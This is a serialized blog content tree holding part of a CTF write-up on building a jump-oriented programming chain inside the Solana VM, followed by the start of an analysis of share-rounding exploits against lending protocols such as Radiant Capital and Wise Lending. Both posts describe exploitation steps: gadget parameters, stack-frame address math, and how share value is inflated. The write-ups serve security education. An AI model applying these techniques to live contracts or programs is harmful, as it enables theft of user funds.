79a1c8ff00000000",{"type":22,"tag":118,"props":47042,"children":47043},{"style":204},[47044],{"type":28,"value":46065},{"type":22,"tag":118,"props":47046,"children":47047},{"style":204},[47048],{"type":28,"value":46359},{"type":22,"tag":118,"props":47050,"children":47051},{"style":125},[47052],{"type":28,"value":46075},{"type":22,"tag":118,"props":47054,"children":47055},{"style":204},[47056],{"type":28,"value":46080},{"type":22,"tag":118,"props":47058,"children":47059},{"style":210},[47060],{"type":28,"value":6340},{"type":22,"tag":118,"props":47062,"children":47063},{"style":674},[47064],{"type":28,"value":47065},"56",{"type":22,"tag":118,"props":47067,"children":47068},{"style":125},[47069],{"type":28,"value":46094},{"type":22,"tag":118,"props":47071,"children":47072},{"style":204},[47073],{"type":28,"value":47074},"var_38",{"type":22,"tag":118,"props":47076,"children":47077},{"style":125},[47078],{"type":28,"value":481},{"type":22,"tag":118,"props":47080,"children":47081},{"class":120,"line":821},[47082,47087,47091,47095,47099,47103],{"type":22,"tag":118,"props":47083,"children":47084},{"style":204},[47085],{"type":28,"value":47086},"100001c58",{"type":22,"tag":118,"props":47088,"children":47089},{"style":204},[47090],{"type":28,"value":46878},{"type":22,"tag":118,"props":47092,"children":47093},{"style":204},[47094],{"type":28,"value":46354},{"type":22,"tag":118,"props":47096,"children":47097},{"style":204},[47098],{"type":28,"value":46125},{"type":22,"tag":118,"props":47100,"children":47101},{"style":125},[47102],{"type":28,"value":231},{"type":22,"tag":118,"props":47104,"children":47105},{"style":674},[47106],{"type":28,"value":46895},{"type":22,"tag":118,"props":47108,"children":47109},{"class":120,"line":900},[47110,47115,47120,47124],{"type":22,"tag":118,"props":47111,"children":47112},{"style":204},[47113],{"type":28,"value":47114},"100001c60",{"type":22,"tag":118,"props":47116,"children":47117},{"style":204},[47118],{"type":28,"value":47119},"  85100000fefdffff",{"type":22,"tag":118,"props":47121,"children":47122},{"style":204},[47123],{"type":28,"value":46276},{"type":22,"tag":118,"props":47125,"children":47126},{"style":204},[47127],{"type":28,"value":46917},{"type":22,"tag":118,"props":47129,"children":47130},{"class":120,"line":913},[47131],{"type":22,"tag":118,"props":47132,"children":47133},{"emptyLinePlaceholder":15},[47134],{"type":28,"value":250},{"type":22,"tag":118,"props":47136,"children":47137},{"class":120,"line":953},[47138,47143,47148,47153,47158,47163],{"type":22,"tag":118,"props":47139,"children":47140},{"style":204},[47141],{"type":28,"value":47142},"100001c68",{"type":22,"tag":118,"props":47144,"children":47145},{"style":674},[47146],{"type":28,"value":47147},"  9500000000000000",{"type":22,"tag":118,"props":47149,"children":47150},{"style":204},[47151],{"type":28,"value":47152},"   exit",{"type":22,"tag":118,"props":47154,"children":47155},{"style":125},[47156],{"type":28,"value":47157}," {",{"type":22,"tag":118,"props":47159,"children":47160},{"style":204},[47161],{"type":28,"value":47162},"__return_addr",{"type":22,"tag":118,"props":47164,"children":47165},{"style":125},[47166],{"type":28,"value":481},{"type":22,"tag":31,"props":47168,"children":47169},{},[47170,47172,47178],{"type":28,"value":47171},"Which, assuming that ",{"type":22,"tag":114,"props":47173,"children":47175},{"className":47174},[],[47176],{"type":28,"value":47177},"sol_invoke_signed_rust",{"type":28,"value":47179}," returns 0, is doing the following:",{"type":22,"tag":4029,"props":47181,"children":47182},{},[47183,47192,47201],{"type":22,"tag":68,"props":47184,"children":47185},{},[47186],{"type":22,"tag":114,"props":47187,"children":47189},{"className":47188},[],[47190],{"type":28,"value":47191},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":22,"tag":68,"props":47193,"children":47194},{},[47195],{"type":22,"tag":114,"props":47196,"children":47198},{"className":47197},[],[47199],{"type":28,"value":47200},"*[r10-120] = 0x18",{"type":22,"tag":68,"props":47202,"children":47203},{},[47204,47206,47212,47214,47221],{"type":28,"value":47205},"Calls ",{"type":22,"tag":114,"props":47207,"children":47209},{"className":47208},[],[47210],{"type":28,"value":47211},"__rust_dealloc",{"type":28,"value":47213},", which in default circumstances is a ",{"type":22,"tag":42,"props":47215,"children":47218},{"href":47216,"rel":47217},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[46],[47219],{"type":28,"value":47220},"NOP",{"type":28,"value":292},{"type":22,"tag":31,"props":47223,"children":47224},{},[47225],{"type":28,"value":47226},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":22,"tag":31,"props":47228,"children":47229},{},[47230],{"type":28,"value":47231},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":22,"tag":31,"props":47233,"children":47234},{},[47235,47237,47244],{"type":28,"value":47236},"Looking at the ",{"type":22,"tag":42,"props":47238,"children":47241},{"href":47239,"rel":47240},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[46],[47242],{"type":28,"value":47243},"definition",{"type":28,"value":47245},", it's not crystal clear what the parameters are:",{"type":22,"tag":107,"props":47247,"children":47249},{"className":109,"code":47248,"language":111,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[47250],{"type":22,"tag":114,"props":47251,"children":47252},{"__ignoreMap":7},[47253],{"type":22,"tag":118,"props":47254,"children":47255},{"class":120,"line":121},[47256,47260,47265,47269,47274,47278,47282,47286,47290,47294,47299,47303,47307,47311,47315,47319,47324,47328,47332,47336,47341,47345,47349,47353,47357,47361,47366,47370,47374,47378,47382],{"type":22,"tag":118,"props":47257,"children":47258},{"style":146},[47259],{"type":28,"value":2603},{"type":22,"tag":118,"props":47261,"children":47262},{"style":532},[47263],{"type":28,"value":47264}," sol_invoke_signed_rust",{"type":22,"tag":118,"props":47266,"children":47267},{"style":125},[47268],{"type":28,"value":540},{"type":22,"tag":118,"props":47270,"children":47271},{"style":204},[47272],{"type":28,"value":47273},"instruction_addr",{"type":22,"tag":118,"props":47275,"children":47276},{"style":210},[47277],{"type":28,"value":213},{"type":22,"tag":118,"props":47279,"children":47280},{"style":210},[47281],{"type":28,"value":11815},{"type":22,"tag":118,"props":47283,"children":47284},{"style":146},[47285],{"type":28,"value":11653},{"type":22,"tag":118,"props":47287,"children":47288},{"style":131},[47289],{"type":28,"value":16614},{"type":22,"tag":118,"props":47291,"children":47292},{"style":125},[47293],{"type":28,"value":231},{"type":22,"tag":118,"props":47295,"children":47296},{"style":204},[47297],{"type":28,"value":47298},"account_infos_addr",{"type":22,"tag":118,"props":47300,"children":47301},{"style":210},[47302],{"type":28,"value":213},{"type":22,"tag":118,"props":47304,"children":47305},{"style":210},[47306],{"type":28,"value":11815},{"type":22,"tag":118,"props":47308,"children":47309},{"style":146},[47310],{"type":28,"value":11653},{"type":22,"tag":118,"props":47312,"children":47313},{"style":131},[47314],{"type":28,"value":16614},{"type":22,"tag":118,"props":47316,"children":47317},{"style":125},[47318],{"type":28,"value":231},{"type":22,"tag":118,"props":47320,"children":47321},{"style":204},[47322],{"type":28,"value":47323},"account_infos_len",{"type":22,"tag":118,"props":47325,"children":47326},{"style":210},[47327],{"type":28,"value":213},{"type":22,"tag":118,"props":47329,"children":47330},{"style":131},[47331],{"type":28,"value":583},{"type":22,"tag":118,"props":47333,"children":47334},{"style":125},[47335],{"type":28,"value":231},{"type":22,"tag":118,"props":47337,"children":47338},{"style":204},[47339],{"type":28,"value":47340},"signers_seeds_addr",{"type":22,"tag":118,"props":47342,"children":47343},{"style":210},[47344],{"type":28,"value":213},{"type":22,"tag":118,"props":47346,"children":47347},{"style":210},[47348],{"type":28,"value":11815},{"type":22,"tag":118,"props":47350,"children":47351},{"style":146},[47352],{"type":28,"value":11653},{"type":22,"tag":118,"props":47354,"children":47355},{"style":131},[47356],{"type":28,"value":16614},{"type":22,"tag":118,"props":47358,"children":47359},{"style":125},[47360],{"type":28,"value":231},{"type":22,"tag":118,"props":47362,"children":47363},{"style":204},[47364],{"type":28,"value":47365},"signers_seeds_len",{"type":22,"tag":118,"props":47367,"children":47368},{"style":210},[47369],{"type":28,"value":213},{"type":22,"tag":118,"props":47371,"children":47372},{"style":131},[47373],{"type":28,"value":583},{"type":22,"tag":118,"props":47375,"children":47376},{"style":125},[47377],{"type":28,"value":588},{"type":22,"tag":118,"props":47379,"children":47380},{"style":210},[47381],{"type":28,"value":593},{"type":22,"tag":118,"props":47383,"children":47384},{"style":131},[47385],{"type":28,"value":15191},{"type":22,"tag":31,"props":47387,"children":47388},{},[47389,47391,47396,47398,47405],{"type":28,"value":47390},"The source of ",{"type":22,"tag":42,"props":47392,"children":47394},{"href":47393},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[47395],{"type":28,"value":46006},{"type":28,"value":47397}," helps a lot, but looking at the actual ",{"type":22,"tag":42,"props":47399,"children":47402},{"href":47400,"rel":47401},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[46],[47403],{"type":28,"value":47404},"implementation",{"type":28,"value":47406}," provides more clarity:",{"type":22,"tag":64,"props":47408,"children":47409},{},[47410],{"type":22,"tag":68,"props":47411,"children":47412},{},[47413,47418,47420,47427],{"type":22,"tag":114,"props":47414,"children":47416},{"className":47415},[],[47417],{"type":28,"value":47273},{"type":28,"value":47419}," points to a ",{"type":22,"tag":42,"props":47421,"children":47424},{"href":47422,"rel":47423},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[46],[47425],{"type":28,"value":47426},"StableInstruction",{"type":28,"value":213},{"type":22,"tag":31,"props":47429,"children":47430},{},[47431],{"type":22,"tag":5928,"props":47432,"children":47434},{"alt":47426,"src":47433},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":22,"tag":64,"props":47436,"children":47437},{},[47438,47463],{"type":22,"tag":68,"props":47439,"children":47440},{},[47441,47446,47448,47453,47455,47462],{"type":22,"tag":114,"props":47442,"children":47444},{"className":47443},[],[47445],{"type":28,"value":47298},{"type":28,"value":47447}," points to a slice of ",{"type":22,"tag":114,"props":47449,"children":47451},{"className":47450},[],[47452],{"type":28,"value":47323},{"type":28,"value":47454},"  ",{"type":22,"tag":42,"props":47456,"children":47459},{"href":47457,"rel":47458},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[46],[47460],{"type":28,"value":47461},"AccountInfos",{"type":28,"value":292},{"type":22,"tag":68,"props":47464,"children":47465},{},[47466,47471,47473,47478,47480,47485],{"type":22,"tag":114,"props":47467,"children":47469},{"className":47468},[],[47470],{"type":28,"value":47340},{"type":28,"value":47472}," is a bit trickier, it points to a slice of length ",{"type":22,"tag":114,"props":47474,"children":47476},{"className":47475},[],[47477],{"type":28,"value":47365},{"type":28,"value":47479},", containing slices of ",{"type":22,"tag":114,"props":47481,"children":47483},{"className":47482},[],[47484],{"type":28,"value":5439},{"type":28,"value":292},{"type":22,"tag":31,"props":47487,"children":47488},{},[47489],{"type":22,"tag":5928,"props":47490,"children":47493},{"alt":47491,"src":47492},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":22,"tag":31,"props":47495,"children":47496},{},[47497,47499,47504],{"type":28,"value":47498},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":22,"tag":4764,"props":47500,"children":47501},{},[47502],{"type":28,"value":47503},"future call frames",{"type":28,"value":292},{"type":22,"tag":31,"props":47506,"children":47507},{},[47508,47510,47517],{"type":28,"value":47509},"Now that we have all the parts, all we need is to string it together. The full ",{"type":22,"tag":42,"props":47511,"children":47514},{"href":47512,"rel":47513},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[46],[47515],{"type":28,"value":47516},"reference solution can be found here",{"type":28,"value":292},{"type":22,"tag":31,"props":47519,"children":47520},{},[47521],{"type":28,"value":47522},"Here's a visualization of the final JOP chain.",{"type":22,"tag":107,"props":47524,"children":47526},{"className":45888,"code":47525,"language":45890,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[47527],{"type":22,"tag":114,"props":47528,"children":47529},{"__ignoreMap":7},[47530,47538,47545,47552,47560,47567,47575,47583,47591,47599,47607,47615,47623,47631,47639],{"type":22,"tag":118,"props":47531,"children":47532},{"class":120,"line":121},[47533],{"type":22,"tag":118,"props":47534,"children":47535},{},[47536],{"type":28,"value":47537},"graph BT\n",{"type":22,"tag":118,"props":47539,"children":47540},{"class":120,"line":142},[47541],{"type":22,"tag":118,"props":47542,"children":47543},{},[47544],{"type":28,"value":45910},{"type":22,"tag":118,"props":47546,"children":47547},{"class":120,"line":177},[47548],{"type":22,"tag":118,"props":47549,"children":47550},{},[47551],{"type":28,"value":45918},{"type":22,"tag":118,"props":47553,"children":47554},{"class":120,"line":195},[47555],{"type":22,"tag":118,"props":47556,"children":47557},{},[47558],{"type":28,"value":47559},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":22,"tag":118,"props":47561,"children":47562},{"class":120,"line":244},[47563],{"type":22,"tag":118,"props":47564,"children":47565},{},[47566],{"type":28,"value":45934},{"type":22,"tag":118,"props":47568,"children":47569},{"class":120,"line":253},[47570],{"type":22,"tag":118,"props":47571,"children":47572},{},[47573],{"type":28,"value":47574},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":22,"tag":118,"props":47576,"children":47577},{"class":120,"line":263},[47578],{"type":22,"tag":118,"props":47579,"children":47580},{},[47581],{"type":28,"value":47582},"    E --> G[4: process]\n",{"type":22,"tag":118,"props":47584,"children":47585},{"class":120,"line":318},[47586],{"type":22,"tag":118,"props":47587,"children":47588},{},[47589],{"type":28,"value":47590},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":22,"tag":118,"props":47592,"children":47593},{"class":120,"line":351},[47594],{"type":22,"tag":118,"props":47595,"children":47596},{},[47597],{"type":28,"value":47598},"    G --> I[5: process]\n",{"type":22,"tag":118,"props":47600,"children":47601},{"class":120,"line":359},[47602],{"type":22,"tag":118,"props":47603,"children":47604},{},[47605],{"type":28,"value":47606},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":22,"tag":118,"props":47608,"children":47609},{"class":120,"line":368},[47610],{"type":22,"tag":118,"props":47611,"children":47612},{},[47613],{"type":28,"value":47614},"    I --> K[6: process]\n",{"type":22,"tag":118,"props":47616,"children":47617},{"class":120,"line":384},[47618],{"type":22,"tag":118,"props":47619,"children":47620},{},[47621],{"type":28,"value":47622},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":22,"tag":118,"props":47624,"children":47625},{"class":120,"line":417},[47626],{"type":22,"tag":118,"props":47627,"children":47628},{},[47629],{"type":28,"value":47630},"    K --> N[7: process]\n",{"type":22,"tag":118,"props":47632,"children":47633},{"class":120,"line":425},[47634],{"type":22,"tag":118,"props":47635,"children":47636},{},[47637],{"type":28,"value":47638},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":22,"tag":118,"props":47640,"children":47641},{"class":120,"line":441},[47642],{"type":22,"tag":118,"props":47643,"children":47644},{},[47645],{"type":28,"value":47646},"    N --> O[8: Write 0x4337 to the account]\n",{"type":22,"tag":31,"props":47648,"children":47649},{},[47650,47652,47658],{"type":28,"value":47651},"Small note: ",{"type":22,"tag":114,"props":47653,"children":47655},{"className":47654},[],[47656],{"type":28,"value":47657},"target_r10",{"type":28,"value":47659}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":22,"tag":107,"props":47661,"children":47663},{"className":109,"code":47662,"language":111,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[47664],{"type":22,"tag":114,"props":47665,"children":47666},{"__ignoreMap":7},[47667,47712,47747,47754],{"type":22,"tag":118,"props":47668,"children":47669},{"class":120,"line":121},[47670,47674,47679,47683,47688,47692,47696,47700,47704,47708],{"type":22,"tag":118,"props":47671,"children":47672},{"style":146},[47673],{"type":28,"value":2603},{"type":22,"tag":118,"props":47675,"children":47676},{"style":532},[47677],{"type":28,"value":47678}," call_frame_addr",{"type":22,"tag":118,"props":47680,"children":47681},{"style":125},[47682],{"type":28,"value":540},{"type":22,"tag":118,"props":47684,"children":47685},{"style":204},[47686],{"type":28,"value":47687},"depth",{"type":22,"tag":118,"props":47689,"children":47690},{"style":210},[47691],{"type":28,"value":213},{"type":22,"tag":118,"props":47693,"children":47694},{"style":131},[47695],{"type":28,"value":583},{"type":22,"tag":118,"props":47697,"children":47698},{"style":125},[47699],{"type":28,"value":588},{"type":22,"tag":118,"props":47701,"children":47702},{"style":210},[47703],{"type":28,"value":593},{"type":22,"tag":118,"props":47705,"children":47706},{"style":131},[47707],{"type":28,"value":583},{"type":22,"tag":118,"props":47709,"children":47710},{"style":125},[47711],{"type":28,"value":1474},{"type":22,"tag":118,"props":47713,"children":47714},{"class":120,"line":142},[47715,47720,47724,47729,47733,47738,47742],{"type":22,"tag":118,"props":47716,"children":47717},{"style":674},[47718],{"type":28,"value":47719},"    0x200000000",{"type":22,"tag":118,"props":47721,"children":47722},{"style":210},[47723],{"type":28,"value":10905},{"type":22,"tag":118,"props":47725,"children":47726},{"style":674},[47727],{"type":28,"value":47728}," 0x2000",{"type":22,"tag":118,"props":47730,"children":47731},{"style":210},[47732],{"type":28,"value":11815},{"type":22,"tag":118,"props":47734,"children":47735},{"style":204},[47736],{"type":28,"value":47737}," depth",{"type":22,"tag":118,"props":47739,"children":47740},{"style":210},[47741],{"type":28,"value":10905},{"type":22,"tag":118,"props":47743,"children":47744},{"style":674},[47745],{"type":28,"value":47746}," 0x1000\n",{"type":22,"tag":118,"props":47748,"children":47749},{"class":120,"line":177},[47750],{"type":22,"tag":118,"props":47751,"children":47752},{"style":125},[47753],{"type":28,"value":481},{"type":22,"tag":118,"props":47755,"children":47756},{"class":120,"line":195},[47757],{"type":22,"tag":118,"props":47758,"children":47759},{"style":257},[47760],{"type":28,"value":47761},"// call_frame_addr(8) = 0x200011000\n",{"type":22,"tag":23,"props":47763,"children":47764},{"id":30872},[47765],{"type":28,"value":20914},{"type":22,"tag":31,"props":47767,"children":47768},{},[47769,47771,47778],{"type":28,"value":47770},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":22,"tag":42,"props":47772,"children":47775},{"href":47773,"rel":47774},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[46],[47776],{"type":28,"value":47777},"they do exist",{"type":28,"value":292},{"type":22,"tag":31,"props":47780,"children":47781},{},[47782],{"type":28,"value":47783},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":22,"tag":31,"props":47785,"children":47786},{},[47787,47789,47794],{"type":28,"value":47788},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":22,"tag":4764,"props":47790,"children":47791},{},[47792],{"type":28,"value":47793},"entire",{"type":28,"value":47795}," runtime.",{"type":22,"tag":4880,"props":47797,"children":47798},{},[47799],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":47801},[47802,47806,47807,47810],{"id":20923,"depth":142,"text":20926,"children":47803},[47804,47805],{"id":42480,"depth":177,"text":42483},{"id":43799,"depth":177,"text":43802},{"id":45035,"depth":142,"text":45038},{"id":45870,"depth":142,"text":45873,"children":47808},[47809],{"id":45984,"depth":177,"text":45987},{"id":30872,"depth":142,"text":20914},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47815,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47816,"description":47817,"author":47818,"image":47819,"date":47821,"isFeatured":15,"onBlogPage":15,"body":47822,"_type":4896,"_id":48968,"_source":4898,"_file":48969,"_stem":48970,"_extension":4901},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[7730],{"src":47820},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":19,"children":47823,"toc":48957},[47824,47828,47856,47861,47874,47879,47885,47890,47895,47900,47905,47918,47930,47950,47970,47975,47980,47998,48004,48009,48015,48029,48042,48047,48053,48067,48072,48094,48327,48332,48337,48350,48590,48600,48605,48611,48616,48621,48654,48659,48670,48676,48681,48695,48823,48837,48913,48918,48929,48934,48939,48943,48948,48953],{"type":22,"tag":23,"props":47825,"children":47826},{"id":25},[47827],{"type":28,"value":29},{"type":22,"tag":31,"props":47829,"children":47830},{},[47831,47833,47840,47841,47848,47850,47855],{"type":28,"value":47832},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":22,"tag":42,"props":47834,"children":47837},{"href":47835,"rel":47836},"https://neodyme.io/de/blog/lending_disclosure",[46],[47838],{"type":28,"value":47839},"fast",{"type":28,"value":231},{"type":22,"tag":42,"props":47842,"children":47845},{"href":47843,"rel":47844},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[46],[47846],{"type":28,"value":47847},"cheap",{"type":28,"value":47849}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":22,"tag":4764,"props":47851,"children":47852},{},[47853],{"type":28,"value":47854},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":292},{"type":22,"tag":31,"props":47857,"children":47858},{},[47859],{"type":28,"value":47860},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":22,"tag":4029,"props":47862,"children":47863},{},[47864,47869],{"type":22,"tag":68,"props":47865,"children":47866},{},[47867],{"type":28,"value":47868},"Inflate share value (token to share conversion rate)",{"type":22,"tag":68,"props":47870,"children":47871},{},[47872],{"type":28,"value":47873},"Exploit rounding bug",{"type":22,"tag":31,"props":47875,"children":47876},{},[47877],{"type":28,"value":47878},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":22,"tag":23,"props":47880,"children":47882},{"id":47881},"model",[47883],{"type":28,"value":47884},"Model",{"type":22,"tag":31,"props":47886,"children":47887},{},[47888],{"type":28,"value":47889},"Before we dive in, there's some helpful background information we'll share first.",{"type":22,"tag":31,"props":47891,"children":47892},{},[47893],{"type":28,"value":47894},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":22,"tag":31,"props":47896,"children":47897},{},[47898],{"type":28,"value":47899},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":22,"tag":31,"props":47901,"children":47902},{},[47903],{"type":28,"value":47904},"This question is more complex than it may appear. Let's walk through an example.",{"type":22,"tag":31,"props":47906,"children":47907},{},[47908,47910,47916],{"type":28,"value":47909},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":22,"tag":114,"props":47911,"children":47913},{"className":47912},[],[47914],{"type":28,"value":47915},"1000:1000",{"type":28,"value":47917}," (1000 tokens to 1000 shares).",{"type":22,"tag":31,"props":47919,"children":47920},{},[47921,47923,47929],{"type":28,"value":47922},"After accruing fees, the pool gains one token for a new ratio of ",{"type":22,"tag":114,"props":47924,"children":47926},{"className":47925},[],[47927],{"type":28,"value":47928},"1001:1000",{"type":28,"value":292},{"type":22,"tag":31,"props":47931,"children":47932},{},[47933,47935,47941,47943,47948],{"type":28,"value":47934},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":22,"tag":114,"props":47936,"children":47938},{"className":47937},[],[47939],{"type":28,"value":47940},"1001/1000*999 = 999.999",{"type":28,"value":47942},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":22,"tag":4764,"props":47944,"children":47945},{},[47946],{"type":28,"value":47947},"down",{"type":28,"value":47949}," against the user.",{"type":22,"tag":31,"props":47951,"children":47952},{},[47953,47955,47961,47963,47969],{"type":28,"value":47954},"If we give the user 999 tokens, the new pool state is ",{"type":22,"tag":114,"props":47956,"children":47958},{"className":47957},[],[47959],{"type":28,"value":47960},"2:1",{"type":28,"value":47962},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":22,"tag":114,"props":47964,"children":47966},{"className":47965},[],[47967],{"type":28,"value":47968},"3:1",{"type":28,"value":292},{"type":22,"tag":31,"props":47971,"children":47972},{},[47973],{"type":28,"value":47974},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":22,"tag":31,"props":47976,"children":47977},{},[47978],{"type":28,"value":47979},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":22,"tag":4029,"props":47981,"children":47982},{},[47983,47988,47993],{"type":22,"tag":68,"props":47984,"children":47985},{},[47986],{"type":28,"value":47987},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":22,"tag":68,"props":47989,"children":47990},{},[47991],{"type":28,"value":47992},"When you withdraw, are you withdrawing shares or tokens?",{"type":22,"tag":68,"props":47994,"children":47995},{},[47996],{"type":28,"value":47997},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":22,"tag":23,"props":47999,"children":48001},{"id":48000},"decisions",[48002],{"type":28,"value":48003},"Decisions",{"type":22,"tag":31,"props":48005,"children":48006},{},[48007],{"type":28,"value":48008},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":22,"tag":1289,"props":48010,"children":48012},{"id":48011},"radiant-capital",[48013],{"type":28,"value":48014},"Radiant Capital",{"type":22,"tag":31,"props":48016,"children":48017},{},[48018,48020,48027],{"type":28,"value":48019},"Radiant Capital was ",{"type":22,"tag":42,"props":48021,"children":48024},{"href":48022,"rel":48023},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[46],[48025],{"type":28,"value":48026},"hacked on Jan 2nd",{"type":28,"value":48028}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":22,"tag":31,"props":48030,"children":48031},{},[48032,48034,48041],{"type":28,"value":48033},"The exploit is relatively straightforward and ",{"type":22,"tag":42,"props":48035,"children":48038},{"href":48036,"rel":48037},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[46],[48039],{"type":28,"value":48040},"has already been covered previously",{"type":28,"value":292},{"type":22,"tag":31,"props":48043,"children":48044},{},[48045],{"type":28,"value":48046},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":22,"tag":1289,"props":48048,"children":48050},{"id":48049},"wise-lending",[48051],{"type":28,"value":48052},"Wise Lending",{"type":22,"tag":31,"props":48054,"children":48055},{},[48056,48058,48065],{"type":28,"value":48057},"Wise Lending was ",{"type":22,"tag":42,"props":48059,"children":48062},{"href":48060,"rel":48061},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[46],[48063],{"type":28,"value":48064},"hacked on January 13th",{"type":28,"value":48066}," for just under $460,000.",{"type":22,"tag":31,"props":48068,"children":48069},{},[48070],{"type":28,"value":48071},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":22,"tag":31,"props":48073,"children":48074},{},[48075,48077,48084,48086,48093],{"type":28,"value":48076},"This is ",{"type":22,"tag":42,"props":48078,"children":48081},{"href":48079,"rel":48080},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[46],[48082],{"type":28,"value":48083},"the code responsible",{"type":28,"value":48085}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":22,"tag":42,"props":48087,"children":48090},{"href":48088,"rel":48089},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[46],[48091],{"type":28,"value":48092},"no way to atomically self-bankrupt",{"type":28,"value":292},{"type":22,"tag":107,"props":48095,"children":48097},{"className":6487,"code":48096,"language":6486,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert 